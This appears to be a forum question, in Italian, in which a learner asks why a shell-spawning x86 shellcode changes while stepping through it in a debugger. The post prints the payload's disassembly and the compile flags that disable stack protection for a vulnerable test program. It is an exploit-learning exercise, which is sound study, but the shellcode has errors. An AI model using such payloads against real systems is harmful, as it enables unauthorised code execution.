Le istruzioni del mio codice shell cambiano durante l'esecuzione. Non sono sicuro del perché.
Ecco come appare il mio shellcode:
=> 0xbffff0b3: nop
0xbffff0b4: nop
0xbffff0b5: xor eax,eax
0xbffff0b7: push eax
0xbffff0b8: push 0x68732f2f
0xbffff0bd: push 0x6e69622f
0xbffff0c2: mov ebx,esp
0xbffff0c4: push eax
0xbffff0c5: push esp
0xbffff0c6: push ebx
0xbffff0c7: mov al,0x3b
0xbffff0c9: push eax
0xbffff0ca: int 0x80
Passo il mio codice e tutto sembra a posto all'inizio:
0xbffff0b5: xor eax,eax
0xbffff0b7: push eax
0xbffff0b8: push 0x68732f2f
=> 0xbffff0bd: push 0x6e69622f
0xbffff0c2: mov ebx,esp
0xbffff0c4: push eax
0xbffff0c5: push esp
0xbffff0c6: push ebx
All'improvviso, quando arrivo a mov ebx, esp , le rimanenti istruzioni cambiano:
0xbffff0b7: push eax
0xbffff0b8: push 0x68732f2f
0xbffff0bd: push 0x6e69622f
=> 0xbffff0c2: mov ebx,esp
0xbffff0c4: das
0xbffff0c5: bound ebp,QWORD PTR [ecx+0x6e]
0xbffff0c8: das
0xbffff0c9: das
Ecco come ho compilato il programma:
gcc vuln.c -o vuln -fno-stack-protector -z execstack
Qualsiasi spiegazione su cosa sta succedendo qui sarebbe eccezionale!